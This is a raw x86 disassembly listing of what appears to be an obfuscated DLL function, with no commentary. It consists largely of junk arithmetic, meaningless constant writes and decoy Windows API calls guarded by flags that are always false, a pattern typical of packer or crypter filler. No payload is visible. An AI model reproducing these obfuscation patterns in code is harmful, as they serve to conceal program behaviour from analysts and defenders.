call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [ebp - 0xe54]
call fcn.1001614d
mov dword [ebp - 0x34], edi
lea ecx, [ebp - 0x5b0]
push ebx
call fcn.10015911
push ebx
lea ecx, [ebp - 0xb40]
mov dword [ebp - 4], 4
call fcn.10015911
mov dword [ebp - 0x4c], 0x4ed3
xor eax, eax
mov dword [ebp - 0x30], 0xfffffffc
mov dword [ebp - 0x30], 0x3fa9dfee
mov dword [ebp - 0x30], 0xb9459240
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x30], 0x3b017290
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x30], 0xbab0c3e5
mov dword [ebp - 0x30], 0x840cc74b
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x28], 0xe8236511
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002e9a2
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5b0]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002e988
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002e9c4
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xb40]
mov dword [eax + ecx*4], 0xecbe92e3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002e9aa
xor eax, eax
mov dword [ebp - 0x34], 0x16
cmp dword [ebp - 0x34], 0x16
jge 0x1002eb15
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1002e9f7
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x308], 0xf251d69f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002e9de
xor eax, eax
mov dword [ebp - 0x300], 0x11
jmp 0x1002eae5
mov dword [ebp - 0x44], 0x2ae45661
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1002ea2d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x154], 0x3629aa81
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002ea15
xor eax, eax
mov dword [ebp - 0x150], eax
jmp 0x1002ead2
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], eax
jl 0x1002eacc
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
mov eax, 0xffff
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
sub edx, eax
mov eax, dword [ebp - 0x4c]
cmp edx, eax
mov eax, dword [ebp - 0xb40]
setge cl
cmp ecx, dword [eax]
jne 0x1002ea87
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x1002ea89
jmp 0x1002ea8b
xor eax, eax
mov edi, eax
mov esi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5b0]
mov edx, dword [ebp - 0x5b0]
push 1
mov ecx, dword [eax + ecx*4]
lea eax, [edi + 0x5890]
mov dword [edx + esi*4], ecx
neg ecx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x300]
setl dl
xor ecx, ecx
cmp edx, eax
pop edi
setl cl
mov dword [ebp - 0x50], ecx
dec dword [ebp - 0x14]
jns 0x1002ea4a
xor eax, eax
dec dword [ebp - 0x150]
cmp dword [ebp - 0x150], 0xfffffff0
jg 0x1002ea38
dec dword [ebp - 0x300]
cmp dword [ebp - 0x300], 0xffffffe5
jle 0x1002ea06
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002eb05
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x16
jl 0x1002e9d5
or esi, 0xffffffff
dec dword [ebp - 0x28]
lea ecx, [ebp - 0xb40]
call fcn.1001614d
lea ecx, [ebp - 0x5b0]
mov dword [ebp - 4], esi
call fcn.1001614d
mov dword [ebp - 0x2c], 0x2bea
lea ecx, [ebp - 0x8e8]
push ebx
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002eb5e
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x8e8]
mov dword [eax + ecx*4], 0xecb45710
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002eb4b
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x8e8]
mov dword [eax + 4], ecx
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x1002eb90
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002eb8d
push 0x1c0d
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jle 0x1002eb76
lea ecx, [ebp - 0x8e8]
call fcn.1001614d
push 8
pop eax
mov dword [ebp - 0x18], edi
lea ecx, [ebp - 0xc78]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x4c], 0x9ac54c97
push ebx
call fcn.10015911
mov dword [ebp - 0x1c], edi
xor eax, eax
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x28], 0x75df
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002ebf3
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc78]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002ebdd
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002ec13
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xdf0], 0xc33
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002ebfb
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002ec1a
mov edi, eax
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x28]
test eax, eax
je 0x1002ec32
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x1002ec34
xor ebx, ebx
inc ebx
mov esi, ebx
jmp 0x1002ec39
xor eax, eax
xor ebx, ebx
mov esi, eax
inc ebx
mov dword [ebp - 0x4c], 0x5063f373
xor edx, edx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
cmp eax, ecx
setg dl
or eax, 0xffffffff
cmp edx, eax
je 0x1002ec5b
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1002ec5d
mov eax, ebx
xor ecx, ecx
cmp esi, eax
mov eax, dword [ebp - 0x1c]
setge cl
inc dword [ebp - 0x1c]
cmp eax, ecx
jl 0x1002ec72
mov eax, ebx
jmp 0x1002ec74
xor eax, eax
xor ecx, ecx
cmp eax, 0xfa36fe54
mov eax, dword [ebp - 0xc78]
setne cl
cmp ecx, dword [eax]
je 0x1002ec8f
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002ec91
mov eax, ebx
mov edx, 0xffff
cmp edx, eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002eca8
cmp dword [ebp - 0x18], eax
je 0x1002ecaa
mov eax, ebx
or ecx, 0xffffffff
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x50]
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp edi, ecx
lea ecx, [ebp - 0xc78]
setl al
add eax, dword [ebp - 0xdf0]
mov dword [ebp - 0x48], eax
call fcn.1001614d
push 3
xor edi, edi
mov dword [ebp - 0x20], 0xfffffffa
pop ebx
inc edi
lea ecx, [ebp - 0x2cc]
mov dword [ebp - 0x2c], edi
push ebx
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x18], eax
jmp 0x1002ed0e
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2cc]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002ecff
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
xor eax, eax
push 2
mov dword [ebp - 0x2c], eax
pop esi
jmp 0x1002edc1
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], eax
jmp 0x1002ed34
inc dword [ebp - 0x28]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jle 0x1002ed2e
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jg 0x1002edbe
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov esi, dword [ebp - 0x20]
mov edx, dword [ebp - 0x2cc]
cmp dword [edx + eax*4], ecx
mov eax, 0xffff
setl cl
cmp eax, ecx
sbb eax, eax
inc eax
imul eax, dword [edx + esi*4]
test eax, eax
je 0x1002edac
imul eax, dword [ebp - 0x28], 7
test eax, eax
jne 0x1002ed89
cmp dword [ebp - 0x2c], eax
jne 0x1002ed89
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2cc]
cmp dword [eax + ecx*4], 0
jne 0x1002ed89
xor eax, eax
mov edx, eax
jmp 0x1002ed8b
mov edx, edi
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2cc]
cmp edx, dword [eax + ecx*4]
jl 0x1002edac
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2cc]
cmp dword [eax + ecx*4], 0
je 0x1002edac
mov eax, edi
jmp 0x1002edae
xor eax, eax
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x20]
push 2
pop esi
cmp dword [ebp - 0x20], esi
jle 0x1002ed41
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jle 0x1002ed26
lea ecx, [ebp - 0x2cc]
call fcn.1001614d
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002eded
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7bc], 0xfffffff9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002eddc
mov dword [ebp - 0x34], 0xd513c61c
lea ecx, [ebp - 0x3d4]
push 4
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1002ee2b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x84], 0xe3556834
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1002ee13
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002ee4b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xf8], 0x3606de71
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002ee33
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1002ee6f
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3d4]
mov dword [eax + ecx*4], 0xd66a0756
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1002ee54
xor eax, eax
mov dword [ebp - 0xf4], eax
jmp 0x1002ef2e
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002eea1
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdfc], 0x693009ce
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002ee89
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jg 0x1002ef28
mov esi, dword [ebp - 0x3d4]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x24]
dec dword [esi + 0xc]
mov dword [ebp + eax*4 - 0x84], ecx
imul ecx, dword [esi + 0xc]
test ecx, ecx
je 0x1002eee1
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002ef0b
push eax
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
jmp 0x1002ef0b
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp + eax*4 - 0x84]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0xf4]
mov dword [ebp + eax*4 - 0x84], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x84]
mov dword [ebp - 0xdf8], eax
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], eax
jle 0x1002eeaf
push 2
pop esi
inc dword [ebp - 0xf4]
cmp dword [ebp - 0xf4], eax
jle 0x1002ee7a
mov eax, dword [ebp - 0x3d4]
cmp dword [eax + 8], 0
jne 0x1002ef50
xor eax, eax
cmp dword [ebp - 0x84], eax
je 0x1002ef52
mov eax, edi
mov ecx, dword [ebp - 0x54]
neg eax
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0xf4]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, eax
mov eax, dword [ebp - 0x54]
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x3d4]
setle bl
xor ecx, ecx
cmp ebx, eax
setle cl
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x34]
cmp eax, dword [edx + 0xc]
setle cl
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0xf4]
sub edx, 0xf529
neg edx
sbb edx, edx
add edx, 0xd10171a1
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x3d4]
setle cl
neg ecx
cmp ecx, 0xb3d385e1
sbb ecx, ecx
xor ebx, ebx
neg ecx
cmp ecx, dword [eax + 4]
mov eax, dword [ebp - 0xf8]
setle bl
xor edx, edx
cmp eax, ebx
mov eax, dword [ebp - 0x54]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x3d4]
call fcn.1001614d
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002f026
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xa4], 0x490c4d8e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002f00e
xor eax, eax
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x900]
mov dword [ebp - 0x30], 0xdada439b
mov dword [ebp - 0x30], 0xdc4b4e12
push 3
mov dword [ebp - 0x30], 0xa624cdb
mov dword [ebp - 0x30], eax
or eax, 0xffffffff
pop ebx
mov dword [ebp - 0x30], 0x3921ded6
mov dword [ebp - 0x30], eax
push ebx
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002f074
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x900]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002f064
mov eax, dword [ebp - 0x900]
lea ecx, [ebp - 0x900]
dec dword [eax + 4]
call fcn.1001614d
xor eax, eax
mov dword [ebp - 0xa4], edi
cmp dword [ebp - 0xa4], eax
jge 0x1002f117
or ebx, 0xffffffff
movdqa xmm0, xmmword [0x10008360]
lea ecx, [ebp - 0x1138]
push ecx
lea eax, [ebp - 0x1128]
mov dword [ebp - 0x2c], 0xd509
push eax
mov dword [ebp - 0x14], 0xfffffff6
push ecx
mov dword [ebp - 0x24], 0x56411d7f
lea ecx, [ebp - 0x5c8]
mov dword [ebp - 0x4c], edi
movdqu xmmword [ebp - 0x1138], xmm0
call fcn.10015953
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x960]
mov dword [ebp - 0x4c], 0xb0d58e7e
mov dword [ebp - 0x28], 0x898d08f4
mov dword [ebp - 0x4c], 0x4fe10ef7
push esi
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002fb03
push edi
lea ecx, [ebp - 0x700]
call fcn.10015911
mov dword [ebp - 0x2c], 6
xor eax, eax
mov dword [ebp - 0x44], 0x7b5ca986
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1002f152
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x700]
or dword [eax + ecx*4], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002f13b
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002f164
push eax
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1002f198
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x700]
mov edx, dword [eax + ecx*4]
mov ecx, dword [ebp - 0x2c]
neg edx
mov eax, dword [ebp - 0x700]
mov dword [eax + ecx*4], edx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp edx, eax
sete cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x2c]
jns 0x1002f16c
lea ecx, [ebp - 0x700]
call fcn.1001614d
push ebx
lea ecx, [ebp - 0xc90]
call fcn.10015911
push 5
pop ecx
mov dword [ebp - 4], ecx
xor eax, eax
mov dword [ebp - 0x78c], ecx
mov dword [ebp - 0x788], ecx
mov dword [ebp - 0x784], ecx
mov dword [ebp - 0x780], ecx
mov dword [ebp - 0x14], 0xfffffffa
mov dword [ebp - 0x28], 0x45d811f0
mov dword [ebp - 0x4c], 0xdb6084ed
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x1002f1f7
or eax, 0xffffffff
mov dword [ebp - 0x28], eax
dec dword [ebp - 0x14]
jns 0x1002f1ef
mov eax, dword [ebp - 0x14]
sub eax, 0x5de1fc65
neg eax
push 3
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x14]
cmp eax, ecx
sbb edx, edx
xor eax, eax
mov dword [ebp - 0x28], eax
neg edx
mov eax, dword [ebp - 0x28]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
mov eax, dword [ebp - 0x78c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x780]
setle dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x14]
sete bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x4c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ebx, ebx
cmp eax, edx
setle bl
sub ebx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
neg ebx
sbb ebx, ebx
add ebx, 2
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
pop ebx
setne cl
xor eax, eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x4c], 0xe283d1f0
mov dword [ebp - 0x28], 0xcc9f
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002f2b5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xb58], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f29d
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002f2d5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x123c], 0xcb2d505b
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002f2bd
xor eax, eax
mov ecx, edi
cmp dword [ebp - 0x38], eax
jne 0x1002f2de
mov ecx, eax
mov eax, dword [ebp - 0x38]
add eax, ecx
jne 0x1002f2eb
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
sub ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
sub eax, ecx
xor ecx, ecx
cmp eax, 0x6cc9
setle cl
xor eax, eax
cmp ecx, 0xfffffffb
setne al
mov dword [ebp - 0xb54], eax
mov ecx, dword [ebp - 0xb54]
mov eax, dword [ebp - 0x28]
dec dword [ebp - 0x28]
cmp ecx, eax
je 0x1002f326
mov esi, edi
jmp 0x1002f32a
xor eax, eax
mov esi, eax
mov dword [ebp - 0x28], edi
mov eax, dword [ebp - 0xb54]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x1002f344
mov edx, eax
cmp dword [ebp - 0x28], eax
je 0x1002f346
mov edx, edi
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
add ecx, esi
cmp ecx, 0x1dd8e181
setg al
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002f37a
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc90]
mov dword [eax + ecx*4], 0x31d83293
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1002f367
mov ebx, dword [ebp - 0xc90]
push 2
mov dword [ebp - 0x34], ebx
pop esi
mov dword [ebx + 8], edi
movdqa xmm0, xmmword [0x100083f0]
lea eax, [ebp - 0x10a8]
push ecx
push eax
lea eax, [ebp - 0x10b8]
mov dword [ebp - 0x18], 0x6b8f3d42
mov dword [ebp - 0x1c], 9
lea ecx, [ebp - 0x1014]
push eax
movdqu xmmword [ebp - 0x10b8], xmm0
call fcn.10015953
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002f3dc
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1002f406
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 0x8e85
setle cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x1002f408
mov ecx, edi
mov eax, dword [ebp - 0x1014]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x1c]
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], al
je 0x1002f425
push eax
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [ebp - 0x1014]
call fcn.1001614d
mov dword [ebp - 0x44], 0x23498e64
lea ecx, [ebp - 0x918]
mov dword [ebp - 0x2c], 0x2bea
push esi
call fcn.10015911
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002f464
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x918]
mov dword [eax + ecx*4], 0xecb45710
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002f451
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x918]
mov dword [eax + 4], ecx
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
jg 0x1002f4a0
xor ebx, ebx
mov byte [ebp - 0x3d], bl
cmp byte [ebp - 0x3d], bl
je 0x1002f495
push 0x1c0d
push ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jle 0x1002f481
mov ebx, dword [ebp - 0x34]
lea ecx, [ebp - 0x918]
call fcn.1001614d
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1002f4cd
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x94], 6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1002f4b5
xor eax, eax
mov byte [ebp - 0x3d], al
cmp byte [ebp - 0x3d], 0
je 0x1002f4ed
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
xor eax, eax
mov dword [ebp - 0x94], 0xfffffffb
cmp dword [ebp - 0x94], 9
je 0x1002f5c8
mov dword [ebp - 0x24], 0x6d4f2887
mov dword [ebp - 0x44], 0xd5493e
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x1002f532
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xe0c], 0xe446df3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002f51a
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jg 0x1002f5b2
or ecx, 0xffffffff
mov dword [ebp - 0x18], 0xba07e4fc
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], eax
jl 0x1002f5aa
mov eax, dword [ebp - 0x24]
xor ebx, ebx
mov eax, dword [ebp + eax*4 - 0xe0c]
test eax, eax
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x24]
setne bl
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, edi
setle cl
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x94]
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setle dl
sub ebx, edx
sub ebx, 0xd2466e9f
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setl cl
mov dword [ebp - 0x44], ecx
dec dword [ebp - 0x18]
jns 0x1002f54f
xor eax, eax
or ecx, 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x1002f53d
inc dword [ebp - 0x94]
cmp dword [ebp - 0x94], 9
jne 0x1002f504
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebp - 0xa4]
push edi
mov ecx, dword [ebp + eax*4 - 0x7bc]
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x7bc], ecx
xor eax, eax
cmp ecx, 0xffffffff
lea ecx, [ebp - 0x200]
setg al
mov dword [ebp - 0x44], eax
call fcn.10015911
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x930]
mov dword [ebp - 0x24], 0xa4f833fc
push 3
call fcn.10015911
mov byte [ebp - 4], 7
xor eax, eax
mov dword [ebp - 0x38], 0x14f4
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002f643
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x200]
mov dword [eax + ecx*4], 0xa8ea
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002f629
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1002f664
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x930]
and dword [eax + ecx*4], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002f64c
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jg 0x1002f68f
xor ebx, ebx
mov dword [ebp - 0x44], 0xfffffffe
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x200]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x44], eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x1002f66e
mov ebx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x930]
mov eax, dword [ebp - 0x24]
cmp eax, dword [esi + 4]
jge 0x1002f6be
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov eax, dword [ebp - 0x200]
mov eax, dword [eax]
cmp eax, dword [esi + 4]
setge cl
cmp ecx, 0xa319
jne 0x1002f6be
mov edx, edi
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0xffffffff
setge al
cmp eax, dword [esi + 4]
jl 0x1002f7b7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x960]
mov dword [eax + ecx*4], 0xbd1a6f32
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1002faf0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002fb22
cmp dword [ebp - 0x24], eax
je 0x1002fb22
mov eax, edi
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x5c8]
mov esi, dword [ebp - 0x5c8]
sub ecx, dword [eax]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, dword [esi + 4]
setne dl
sub edx, eax
sub edx, 0x617c0ec0
cmp dword [ebp - 0x2c], edx
jne 0x1002fb5c
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x5c8]
mov ecx, dword [esi + 4]
mov dword [eax], ecx
mov dword [ebp - 0x4c], ecx
